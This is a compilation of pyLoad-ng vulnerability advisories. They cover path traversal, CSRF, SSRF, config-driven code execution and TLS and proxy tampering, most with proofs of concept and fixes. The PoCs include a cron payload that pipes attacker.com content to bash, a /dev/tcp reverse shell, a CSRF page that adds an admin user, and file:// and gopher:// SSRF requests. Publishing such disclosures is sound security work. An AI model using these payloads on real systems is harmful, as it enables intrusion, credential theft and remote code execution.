See how pyload-ng project compares to other vendors in security performance
Summary Path Traversal in pyLoad-ng CNL Blueprint via package parameter allows Arbitrary File Write leading to Remote Code Execution (RCE) The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.
Details Endpoint: POST /addcrypted Issue: src/pyload/webui/app/blueprints/cnlblueprint.py
Vulnerable Code python dlcpath = os.path.join( dlpath, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlcpath, mode="wb") as fp:
PoC http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107
package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==
Decoded payload: bash root curl -s http://attacker.com/r.sh | bash
Send crafted POST python import requests, base64
payload = " root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode()
requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 })
Impact The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the addcrypted endpoint in pyload-ng parameter. when exploited, it enables remote code execution as root by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
Summary The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC We host the following HTML file on an attacker-controlled server. html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/adduser/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/adduser/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application. !image
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker. !image
Impact Any API call can be made via a CSRF attack by an unauthenticated user.
Cross-site Scripting (XSS) - Stored in GitHub repository pyload/pyload prior to 0.5.0b3.dev42.
Summary
The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.
An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.
Root Cause
The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:
dlhostname = urllib.parse.urlparse(dlurl).hostname if isipaddress(dlhostname) and not isglobaladdress(dlhostname): self.fail(...) else: for ip in hosttoip(dlhostname): if not isglobaladdress(ip): self.fail(...)
After the check passes, download() is called. pycurl is configured at src/pyload/core/network/http/httprequest.py:114-115 to follow redirects:
self.c.setopt(pycurl.FOLLOWLOCATION, 1) self.c.setopt(pycurl.MAXREDIRS, 10)
No CURLOPTREDIRPROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.
PoC
Redirect server (attacker-controlled):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler): def doGET(self): self.sendresponse(302) self.sendheader("Location", "http://169.254.169.254/metadata/v1.json") self.endheaders()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serveforever()
Submit to pyload (requires ADD permission):
curl -b cookies.txt -X POST 'http://target:8000/json/addpackage' \ -d 'addname=ssrf-test&adddest=1&addlinks=http://attacker.com:8888/redirect'
The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.
Impact
An authenticated user with ADD permission can access:
- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity - Internal network services (10.x, 172.16.x, 192.168.x) - Localhost services (127.0.0.1)
This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.
Suggested Fix
Disable automatic redirect following and validate each redirect target:
# In HTTPRequest.init(): self.c.setopt(pycurl.FOLLOWLOCATION, 0)
Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:
self.c.setopt(pycurl.REDIRPROTOCOLS, pycurl.PROTOHTTP | pycurl.PROTOHTTPS)
And add a pycurl callback to validate redirect destination IPs before following.
Resources
- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Summary
The setconfigvalue() API endpoint allows users with the non-admin SETTINGS permission to modify any configuration option without restriction. The reconnect.script config option controls a file path that is passed directly to subprocess.run() in the thread manager's reconnect logic. A SETTINGS user can set this to any executable file on the system, achieving Remote Code Execution. The only validation in setconfigvalue() is a hardcoded check for general.storagefolder — all other security-critical settings including reconnect.script are writable without any allowlist or path restriction.
Details
The vulnerability chain spans two components:
1. Unrestricted config write — src/pyload/core/api/init.py:210-243
python @permission(Perms.SETTINGS) @post def setconfigvalue(self, category: str, option: str, value: Any, section: str = "core") -> None: self.pyload.addonmanager.dispatchevent( "configchanged", category, option, value, section ) if section == "core": if category == "general" and option == "storagefolder": # Forbid setting the download folder inside dangerous locations # ... validation only for storagefolder ... return
self.pyload.config.set(category, option, value) # No validation for any other option
The Perms.SETTINGS permission (value 128) is a non-admin permission flag. The only hardcoded validation is for general.storagefolder. The reconnect.script option is written directly to config with no path validation, allowlist, or sanitization.
2. Arbitrary script execution — src/pyload/core/managers/threadmanager.py:157-199
python def tryreconnect(self): if not ( self.pyload.config.get("reconnect", "enabled") and self.pyload.api.istimereconnect() ): return False
# ... checks if active downloads want reconnect ...
reconnectscript = self.pyload.config.get("reconnect", "script") if not os.path.isfile(reconnectscript): self.pyload.config.set("reconnect", "enabled", False) self.pyload.log.warning(self.("Reconnect script not found!")) return
# ... reconnect logic ...
try: subprocess.run(reconnectscript) # Executes attacker-controlled path except Exception: # ...
The reconnectscript value comes directly from config. The only check is os.path.isfile() — the file must exist but there is no allowlist, no path restriction, and no signature verification.
3. Attacker also controls timing via same SETTINGS permission
The attacker can set reconnect.enabled=True, reconnect.starttime, and reconnect.endtime through the same setconfigvalue() endpoint to control when execution occurs. togglereconnect() at line 321 requires only Perms.STATUS — an even lower privilege.
4. Additional privilege escalation via config access
Beyond RCE, the same unrestricted config write allows SETTINGS users to: - Read proxy credentials (proxy.username/proxy.password) in plaintext via getconfig() - Redirect syslog to an attacker-controlled server (log.sysloghost/log.syslogport) - Disable SSL (webui.usessl=False), rebind to 0.0.0.0 (webui.host) - Modify SSL certificate/key paths to enable MITM
PoC
Step 1: Set reconnect script to an attacker-controlled executable
Via API: bash Authenticate and get session (as user with SETTINGS permission) curl -c cookies.txt -X POST 'http://target:8000/api/login' \ -d 'username=settingsuser&password=pass123'
Set reconnect script to a known executable on the system curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=script&value=/tmp/exploit.sh§ion=core'
Via Web UI: bash curl -b cookies.txt -X POST 'http://target:8000/json/saveconfig?category=core' \ -d 'reconnect|script=/tmp/exploit.sh&reconnect|enabled=True'
Step 2: Enable reconnect and set timing window
bash curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=enabled&value=True§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=starttime&value=00:00§ion=core'
curl -b cookies.txt -X POST 'http://target:8000/api/setconfigvalue' \ -d 'category=reconnect&option=endtime&value=23:59§ion=core'
Step 3: Script executes when thread manager calls tryreconnect()
The thread manager's run() method (called repeatedly by the core loop) invokes tryreconnect(), which calls subprocess.run(reconnectscript) at threadmanager.py:199.
Note on exploitation constraints: The file at the target path must exist (os.path.isfile() check) and be executable. With shell=False (subprocess.run default), no arguments are passed. If the attacker also has ADD permission (common for non-admin users), they can use pyLoad to download an archive containing an executable script, which may retain execute permissions after extraction.
Impact
- Remote Code Execution: A non-admin user with SETTINGS permission can execute arbitrary programs on the server as the pyLoad process user - Privilege escalation: The SETTINGS permission is described as "can access settings" — granting it is not expected to grant arbitrary code execution capability - Credential exposure: SETTINGS users can read proxy credentials, SSL key paths, and other sensitive config values via getconfig() - Network reconfiguration: SETTINGS users can disable SSL, change bind address, redirect logging, and modify other security-critical network settings
Recommended Fix
Add an allowlist or category-level restriction in setconfigvalue() that prevents non-admin users from modifying security-critical options:
python In setconfigvalue(), after the storagefolder check: ADMINONLYOPTIONS = { ("reconnect", "script"), ("webui", "host"), ("webui", "usessl"), ("webui", "sslcert"), ("webui", "sslkey"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "username"), ("proxy", "password"), }
if section == "core" and (category, option) in ADMINONLYOPTIONS: # Require ADMIN role for security-critical settings if not self.pyload.api.userdata.get("role") == Role.ADMIN: raise PermissionError(f"Admin role required to modify {category}.{option}")
Additionally, consider validating the reconnect.script path against an allowlist of directories or requiring admin approval for script path changes.
pyLoad is a free and open-source download manager written in Python. From version 0.4.20 to before version 0.5.0b3.dev97, the localcheck decorator in pyLoad's ClickNLoad feature can be bypassed by any remote attacker through HTTP Host header spoofing. This allows unauthenticated remote users to access localhost-restricted endpoints, enabling them to inject arbitrary downloads, write files to the storage directory, and execute JavaScript code. This issue has been patched in version 0.5.0b3.dev97.
Summary
The ADMINONLYOPTIONS protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is only applied to core config options, not to plugin config options. The AntiVirus plugin stores an executable path (avfile) in its config, which is passed directly to subprocess.Popen(). A non-admin user with SETTINGS permission can change this path to achieve remote code execution.
Details
Safe wrapper — ADMINONLYOPTIONS (core/api/init.py:225-235):
python ADMINONLYOPTIONS = { "reconnect.script", # Blocks script path change "webui.host", # Blocks bind address change "ssl.certfile", # Blocks cert path change "ssl.keyfile", # Blocks key path change # ... other sensitive options }
Where it IS enforced — core config (core/api/init.py:255):
python def setconfigvalue(self, section, option, value): if f"{section}.{option}" in ADMINONLYOPTIONS: if not self.user.isadmin: raise PermissionError("Admin only") # ...
Where it is NOT enforced — plugin config (core/api/init.py:271-272):
python # Plugin config - NO admin check at all self.pyload.config.setplugin(category, option, value)
Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):
python def scanfile(self, file): avfile = self.config.get("avfile") # User-controlled via plugin config avargs = self.config.get("avargs") subprocess.Popen([avfile, avargs, target]) # RCE
PoC
bash As non-admin user with SETTINGS permission:
1. Set AntiVirus executable to a reverse shell curl -b sessioncookie -X POST http://TARGET:8000/api/setconfigvalue \ -d 'section=plugin' \ -d 'option=AntiVirus.avfile' \ -d 'value=/bin/bash'
curl -b sessioncookie -X POST http://TARGET:8000/api/setconfigvalue \ -d 'section=plugin' \ -d 'option=AntiVirus.avargs' \ -d 'value=-c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"'
2. Enable the AntiVirus plugin curl -b sessioncookie -X POST http://TARGET:8000/api/setconfigvalue \ -d 'section=plugin' \ -d 'option=AntiVirus.activated' \ -d 'value=True'
3. Add a download - when it completes, AntiVirus.scanfile() runs the payload curl -b sessioncookie -X POST http://TARGET:8000/api/addpackage \ -d 'name=test' \ -d 'links=http://example.com/test.zip'
Result: reverse shell as the pyload process user
Additional Finding: Arbitrary File Read via storagefolder
The storagefolder validation at core/api/init.py:238-246 uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting storagefolder=/ combined with GET /files/get/etc/passwd gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.
Impact
- Remote Code Execution — Non-admin user can execute arbitrary commands via AntiVirus plugin config - Privilege escalation — SETTINGS permission (non-admin) escalates to full system access - Arbitrary file read — Via storagefolder manipulation
Remediation
Apply ADMINONLYOPTIONS to plugin config as well:
python In setconfigvalue(): ADMINONLYPLUGINOPTIONS = { "AntiVirus.avfile", "AntiVirus.avargs", # ... any plugin option that controls executables or paths }
if section == "plugin" and option in ADMINONLYPLUGINOPTIONS: if not self.user.isadmin: raise PermissionError("Admin only")
Or better: validate that avfile points to a known AV binary before passing to subprocess.Popen().
Summary
The setconfigvalue() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMINONLYCOREOPTIONS. The allowlist contains ("proxy", "username") and ("proxy", "password") — which protect the proxy credentials — but it does not include ("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), or ("proxy", "type"). Any authenticated user with the non-admin SETTINGS permission can enable proxying and point pyload at any host they control. From that point, every outbound download, captcha fetch, update check, and plugin HTTP call is transparently routed through the attacker.
Gating only the proxy credentials is ineffective: the attacker is the proxy endpoint, so they do not need pyload's proxy-auth secret. proxy.username / proxy.password were designed so an admin could authenticate to a trusted corporate proxy; they do not help when the non-admin attacker is free to choose the proxy itself.
This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist. CVE-2026-35586 in particular bundled three related SSL-cert options into one advisory on the same rationale applied here — the four proxy. fields are jointly required to weaponize the miss and are patched together.
Details
Writer — src/pyload/core/api/init.py, setconfigvalue() (around lines 215–290). The allowlist:
python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), # <-- credentials gated ("reconnect", "script"), ("webui", "host"), ("webui", "sslcertfile"), ("webui", "sslkeyfile"), ("webui", "sslcertchain"), ("webui", "usessl"), }
("proxy", "enabled"), ("proxy", "host"), ("proxy", "port"), ("proxy", "type") are absent.
Reader — src/pyload/core/network/requestfactory.py:82-100:
python def getproxies(self): if not self.pyload.config.get("proxy", "enabled"): return {} proxytype = self.pyload.config.get("proxy", "type") proxyhost = self.pyload.config.get("proxy", "host") proxyport = self.pyload.config.get("proxy", "port") proxyusername = self.pyload.config.get("proxy", "username") or None proxypassword = self.pyload.config.get("proxy", "password") or None return {"type": proxytype, ..., "host": proxyhost, "port": proxyport, ...}
Sink — src/pyload/core/network/http/httprequest.py (around lines 211–230) passes the dict to pycurl via PROXY / PROXYPORT / PROXYTYPE options. getproxies() is called every time a new pycurl handle is constructed, so the new proxy config takes effect on the next outbound request — no restart required.
PoC
Authenticated as any user with Perms.SETTINGS (non-admin role):
bash 1) Log in as the SETTINGS (non-admin) user. curl -c cookies.txt -X POST http://pyload.example:8000/api/login \ -d 'username=settingsuser&password=<password>'
2) Redirect all outbound traffic through attacker.example.com:8080. for kv in \ 'category=proxy&option=enabled&value=True' \ 'category=proxy&option=host&value=attacker.example.com' \ 'category=proxy&option=port&value=8080' \ 'category=proxy&option=type&value=http' ; do curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \ -d "$kv§ion=core" done
3) Enqueue any download (or wait for any periodic update / captcha fetch). The attacker's server receives the full request — URL, query string (often carrying auth tokens on download sites), headers, cookies — and can inject an arbitrary response body.
Verification: run a raw HTTP listener on attacker.example.com:8080 (e.g. socat -v TCP-LISTEN:8080,fork,reuseaddr -), trigger any pyload download, and observe the full request on the listener.
Impact
- Who: any authenticated user whose role was granted Perms.SETTINGS. Multi-user pyload deployments that delegate settings administration to non-admins are the primary blast radius. - What: 1. Full interception of all outbound HTTP traffic: URLs (including embedded tokens), headers, cookies (download-site session IDs), request bodies, and response bodies flow through the attacker. 2. Credential theft from any download-site auth cookies or bearer tokens that affected plugins send. 3. Arbitrary response injection — poisoned archive files into the extractor pipeline; poisoned HTML into anticaptcha solvers; arbitrary content into the update checker. 4. Chains with the sibling sslverify advisory: if the attacker additionally sets general.sslverify=off (same authz family), the MitM works for HTTPS too, with forged certs accepted for any hostname. Both settings together let the attacker fully weaponize what setconfigvalue already permits to a SETTINGS user. - Why gating the credentials alone is insufficient: already covered in the summary — the attacker owns the proxy endpoint, so they do not need pyload's proxy-auth creds.
pyLoad is a free and open-source download manager written in Python. Versions before 0.5.0b3.dev97 are vulnerable to path traversal during password verification of certain encrypted 7z archives (encrypted files with non-encrypted headers), causing arbitrary file deletion outside of the extraction directory. During password verification, pyLoad derives an archive entry name from 7z listing output and treats it as a filesystem path without constraining it to the extraction directory. This issue has been fixed in version 0.5.0b3.dev97.
Summary No sanitization of package folder name allows writing files anywhere outside the intended download directory.
Affected Component - src/pyload/core/api/init.py - Function: setpackagedata()
Details When passing a folder name in the setpackagedata() API function call inside the data object with key "folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.
PoC 1) Create a package, note response package ID e.g. 5 curl -X 'POST' \ 'http://localhost:8000/api/addpackage' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "name": "setpackagedataexploitpoc", "links": [ "http://example.com/file.txt" ], "dest": 1 }'
2) Call setpackagedata for this package ID with an arbitrary directory curl -X 'POST' \ 'http://localhost:8000/api/setpackagedata' \ -H 'accept: /' \ -H 'X-API-Key: <valid api key>' \ -H 'Content-Type: application/json' \ -d '{ "packageid": 5, "data": { "folder": "/users/root/" } }'
3) New download folder will be set without any checks curl -X 'GET' \ 'http://localhost:8000/api/getqueue' \ -H 'accept: application/json' \ -H 'X-API-Key: <valid api key>' Response: [ { "pid": 5, "name": "setpackagedataexploitpoc", "folder": "/users/root/", "site": "", "password": "", "dest": 1, "order": 1, "linksdone": 0, "sizedone": 0, "sizetotal": 0, "linkstotal": 1, "links": null, "fids": null } ]
Impact Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.
Vulnerability Details
CWE-918: Server-Side Request Forgery (SSRF)
The parseurls API function in src/pyload/core/api/init.py (line 556) fetches arbitrary URLs server-side via geturl(url) (pycurl) without any URL validation, protocol restriction, or IP blacklist. An authenticated user with ADD permission can:
- Make HTTP/HTTPS requests to internal network resources and cloud metadata endpoints - Read local files via file:// protocol (pycurl reads the file server-side) - Interact with internal services via gopher:// and dict:// protocols - Enumerate file existence via error-based oracle (error 37 vs empty response)
Vulnerable Code
src/pyload/core/api/init.py (line 556):
python def parseurls(self, html=None, url=None): if url: page = geturl(url) # NO protocol restriction, NO URL validation, NO IP blacklist urls.update(REURLMATCH.findall(page))
No validation is applied to the url parameter. The underlying pycurl supports file://, gopher://, dict://, and other dangerous protocols by default.
Steps to Reproduce
Setup
bash docker run -d --name pyload -p 8084:8000 linuxserver/pyload-ng:latest
Log in as any user with ADD permission and extract the CSRF token:
bash CSRF=
PoC 1: Out-of-Band SSRF (HTTP/DNS exfiltration)
bash curl -s -b "pyloadsession8000=<SESSION>" -H "X-CSRFToken: " -H "Content-Type: application/x-www-form-urlencoded" -d "url=http://ssrf-proof.<CALLBACKDOMAIN>/pyload-ssrf-poc" http://localhost:8084/api/parseurls
Result: 7 DNS/HTTP interactions received on the callback server (Burp Collaborator). Screenshot attached in comments.
PoC 2: Local file read via file:// protocol
bash Reading /etc/passwd (file exists) -> empty response (no error) curl ... -d "url=file:///etc/passwd" http://localhost:8084/api/parseurls Response: {}
Reading nonexistent file -> pycurl error 37 curl ... -d "url=file:///nonexistent" http://localhost:8084/api/parseurls Response: {"error": "(37, \'Couldn't open file /nonexistent\')"}
The difference confirms pycurl successfully reads local files. While parseurls only returns extracted URLs (not raw content), any URL-like strings in configuration files or environment variables are leaked. The error vs success differential also serves as a file existence oracle.
Files confirmed readable: - /etc/passwd, /etc/hosts - /proc/self/environ (process environment variables) - /config/settings/pyload.cfg (pyLoad configuration) - /config/data/pyload.db (SQLite database)
PoC 3: Internal port scanning
bash curl ... -d "url=http://127.0.0.1:22/" http://localhost:8084/api/parseurls Response: pycurl.error: (7, 'Failed to connect to 127.0.0.1 port 22')
PoC 4: gopher:// and dict:// protocol support
bash curl ... -d "url=gopher://127.0.0.1:6379/INFO" http://localhost:8084/api/parseurls curl ... -d "url=dict://127.0.0.1:11211/stat" http://localhost:8084/api/parseurls
Both protocols are accepted by pycurl, enabling interaction with internal services (Redis, memcached, SMTP, etc.).
Impact
An authenticated user with ADD permission can:
- Read local files via file:// protocol (configuration, credentials, database files) - Enumerate file existence via error-based oracle (Couldn't open file vs empty response) - Access cloud metadata endpoints (AWS IAM credentials at http://169.254.169.254/, GCP service tokens) - Scan internal network services and ports via error-based timing - Interact with internal services via gopher:// (Redis RCE, SMTP relay) and dict:// - Exfiltrate data via DNS/HTTP to attacker-controlled servers
The multi-protocol support (file://, gopher://, dict://) combined with local file read capability significantly elevates the impact beyond a standard HTTP-only SSRF.
Proposed Fix
Restrict allowed protocols and validate target addresses:
python from urllib.parse import urlparse import ipaddress import socket
def issafeurl(url): parsed = urlparse(url) if parsed.scheme not in ('http', 'https'): return False hostname = parsed.hostname if not hostname: return False try: for info in socket.getaddrinfo(hostname, None): ip = ipaddress.ipaddress(info[4][0]) if ip.isprivate or ip.isloopback or ip.islinklocal or ip.isreserved: return False except (socket.gaierror, ValueError): return False return True
def parseurls(self, html=None, url=None): if url: if not issafeurl(url): raise ValueError("URL targets a restricted address or uses a disallowed protocol") page = geturl(url) urls.update(REURLMATCH.findall(page))
Improper Certificate Validation in GitHub repository pyload/pyload prior to 0.5.0b3.dev44.
pyLoad is a free and open-source download manager written in Python. From version 0.5.0b3.dev13 to 0.5.0b3.dev96, the editpackage() function implements insufficient sanitization for the packfolder parameter. The current protection relies on a single-pass string replacement of "../", which can be bypassed using crafted recursive traversal sequences. This issue has been patched in version 0.5.0b3.dev97.
Summary
The ADMINONLYCOREOPTIONS authorization set in setconfigvalue() uses incorrect option names sslcert and sslkey, while the actual configuration option names are sslcertfile and sslkeyfile. This name mismatch causes the admin-only check to always evaluate to False, allowing any user with SETTINGS permission to overwrite the SSL certificate and key file paths. Additionally, the sslcertchain option was never added to the admin-only set at all.
Details
The vulnerability is in src/pyload/core/api/init.py. The ADMINONLYCOREOPTIONS set is defined at lines 237-248:
python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), ("reconnect", "script"), ("webui", "host"), ("webui", "sslcert"), # BUG: should be "sslcertfile" ("webui", "sslkey"), # BUG: should be "sslkeyfile" ("webui", "usessl"), } NOTE: ("webui", "sslcertchain") is entirely missing
The actual config option names are defined in src/pyload/core/config/default.cfg:39-41:
file sslcertfile : "SSL Certificate" = ssl.crt file sslkeyfile : "SSL Key" = ssl.key file sslcertchain : "CA's intermediate certificate bundle (optional)" =
The authorization check at line 267 compares the incoming (category, option) tuple against this set:
python if (category, option) in ADMINONLYCOREOPTIONS and not isadmin: self.pyload.log.error(...) return
When a request arrives with option=sslcertfile, the check evaluates ("webui", "sslcertfile") in ADMINONLYCOREOPTIONS which is False because the set contains ("webui", "sslcert"), not ("webui", "sslcertfile"). The admin-only guard is bypassed and config.set() at line 271 proceeds to write the attacker-supplied value.
The value is cast as a file type in parser.py:300-305, which resolves it via os.path.realpath() but performs no further validation:
python elif typ in ("file", "folder"): return ( "" if value in (None, "") else os.path.realpath(os.path.expanduser(os.fsdecode(value))) )
On server restart with SSL enabled, the webserver loads the attacker-controlled paths (webserverthread.py:22-23,51-52):
python self.certfile = self.pyload.config.get("webui", "sslcertfile") self.keyfile = self.pyload.config.get("webui", "sslkeyfile") ... self.server.ssladapter = BuiltinSSLAdapter( self.certfile, self.keyfile, self.certchain )
PoC
Prerequisites: A pyLoad instance with SSL enabled and a non-admin user account that has SETTINGS permission.
Step 1: Authenticate as the non-admin user to get a session cookie: bash curl -c cookies.txt -X POST 'http://localhost:8000/login' \ -d 'username=settingsuser&password=password123'
Step 2: Set the SSL certificate to an attacker-controlled file path: bash curl -b cookies.txt -X POST 'http://localhost:8000/json/saveconfig' \ -H 'Content-Type: application/json' \ -d '{"category": "core", "config": {"webui|sslcertfile": "/tmp/attacker.crt"}}' Expected response: true (config saved successfully)
Step 3: Set the SSL key to an attacker-controlled file path: bash curl -b cookies.txt -X POST 'http://localhost:8000/json/saveconfig' \ -H 'Content-Type: application/json' \ -d '{"category": "core", "config": {"webui|sslkeyfile": "/tmp/attacker.key"}}' Expected response: true (config saved successfully)
Step 4: Set the SSL certificate chain (never protected): bash curl -b cookies.txt -X POST 'http://localhost:8000/json/saveconfig' \ -H 'Content-Type: application/json' \ -d '{"category": "core", "config": {"webui|sslcertchain": "/tmp/attacker-chain.crt"}}' Expected response: true (config saved successfully)
Step 5: After the server restarts, it will load the attacker's certificate and key for all HTTPS connections.
Impact
A non-admin user with SETTINGS permission can replace the SSL certificate and key used by the pyLoad HTTPS server. When the server restarts (or is restarted by an admin), it will serve HTTPS using the attacker's certificate/key pair. This enables:
- Man-in-the-Middle attacks: The attacker, possessing the private key for the now-active certificate, can intercept and decrypt all HTTPS traffic to the pyLoad instance, including admin credentials and session tokens. - Credential theft: All users (including admins) connecting over HTTPS will have their credentials exposed to the attacker. - Configuration tampering: With intercepted admin credentials, the attacker can escalate to full admin access.
The attack requires SSL to already be enabled by an admin (the usessl option is correctly protected), the attacker to place certificate/key files on the filesystem (potentially achievable via pyLoad's download functionality), and a server restart.
Recommended Fix
Fix the option names in ADMINONLYCOREOPTIONS and add the missing sslcertchain option in src/pyload/core/api/init.py:
python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), ("reconnect", "script"), ("webui", "host"), ("webui", "sslcertfile"), # Fixed: was "sslcert" ("webui", "sslkeyfile"), # Fixed: was "sslkey" ("webui", "sslcertchain"), # Added: was missing entirely ("webui", "usessl"), }
Summary
The setconfigvalue() API method (@permission(Perms.SETTINGS)) in src/pyload/core/api/init.py gates security-sensitive options behind a hand-maintained allowlist ADMINONLYCOREOPTIONS. The option ("general", "sslverify") is not on that allowlist. Any authenticated user with the non-admin SETTINGS permission can set general.sslverify = off, and every subsequent outbound pycurl request is made with SSLVERIFYPEER=0 and SSLVERIFYHOST=0 — TLS peer and hostname verification are fully disabled. An on-path attacker can then present forged certificates for any hostname pyload fetches.
This is a direct continuation of the fix family CVE-2026-33509 / CVE-2026-35463 / CVE-2026-35464 / CVE-2026-35586, each of which patched a different missed option in the same allowlist.
Details
Writer — src/pyload/core/api/init.py, setconfigvalue() (around lines 215–290). The function is decorated with @permission(Perms.SETTINGS) and only rejects writes when (category, option) appears in ADMINONLYCOREOPTIONS:
python ADMINONLYCOREOPTIONS = { ("general", "storagefolder"), ("log", "sysloghost"), ("log", "syslogport"), ("proxy", "password"), ("proxy", "username"), ("reconnect", "script"), ("webui", "host"), ("webui", "sslcertfile"), ("webui", "sslkeyfile"), ("webui", "sslcertchain"), ("webui", "usessl"), } ... if (category, option) in ADMINONLYCOREOPTIONS and not isadmin: self.pyload.log.error(...); return self.pyload.config.set(category, option, value)
("general", "sslverify") is absent. config.set() in src/pyload/core/config/parser.py:329 calls cast() which has no branch for enum-string types — "off" is stored verbatim and persisted to disk via self.save().
Reader — src/pyload/core/network/requestfactory.py:109-110:
python def getoptions(self): return { "interface": self.iface(), "proxies": self.getproxies(), "ipv6": self.pyload.config.get("download", "ipv6"), "sslverify": self.pyload.config.get("general", "sslverify"), ... }
Sink — src/pyload/core/network/http/httprequest.py:193-206:
python if "sslverify" in options: aiachaseron = b"on (using aia-chaser)" if options["sslverify"] in [True, b"on", aiachaseron]: ... sslverify = 1 else: sslverify = 0 self.c.setopt(pycurl.SSLVERIFYPEER, sslverify) self.c.setopt(pycurl.SSLVERIFYHOST, sslverify 2)
Because getoptions() is invoked every time a new pycurl handle is built, the new config value takes effect on the very next outbound request — no pyload restart required.
PoC
Authenticated as any user who has Perms.SETTINGS but is not admin (e.g. a user with Role.USER + the SETTINGS permission bit):
bash 1) Log in as the SETTINGS (non-admin) user. curl -c cookies.txt -X POST http://pyload.example:8000/api/login \ -d 'username=settingsuser&password=<password>'
2) Disable TLS verification for all outbound downloads. curl -b cookies.txt -X POST http://pyload.example:8000/api/setConfigValue \ -d 'category=general&option=sslverify&value=off§ion=core' -> 200 OK. Config persisted.
3) Enqueue any HTTPS download. An on-path attacker (shared LAN, compromised upstream router, DNS hijack, or a malicious proxy enabled via the sibling advisory on the proxy. options) can now present a forged cert for any target — pyload accepts it.
Verification: observe pycurl SSLVERIFYPEER=0 in a debug build, or confirm that a download from an HTTPS endpoint served with a self-signed / mismatched cert succeeds after step 2 and fails before it.
Impact
- Who: any authenticated user whose role was granted Perms.SETTINGS. In multi-user pyload deployments that delegate settings administration to non-admins, this is an unintended privilege escalation from "can change UI/download settings" to "can silently disable TLS cert validation for all outbound fetches". - What: 1. Man-in-the-middle on all HTTPS downloads, captcha fetches, update checks, and plugin HTTP calls. 2. Extends the impact of the already-published SSRF chain (CVE-2026-33992 / CVE-2026-35459). The URL-hostname validation those patches added is only meaningful if the TLS channel authenticates the endpoint; with sslverify=off, an on-path attacker can present forged certs for already-validated hosts — so HTTPS cloud-metadata endpoints and internal HTTPS services behind the host allowlist become reachable again. 3. Silent to the admin. Every adjacent security-critical option (proxy.password, SSL certfile/keyfile/certchain, usessl) is already admin-only, so the admin's mental model is that TLS policy cannot be weakened by a non-admin. - Not impacted: unauthenticated attackers; users holding only DOWNLOAD / LIST roles.
Summary
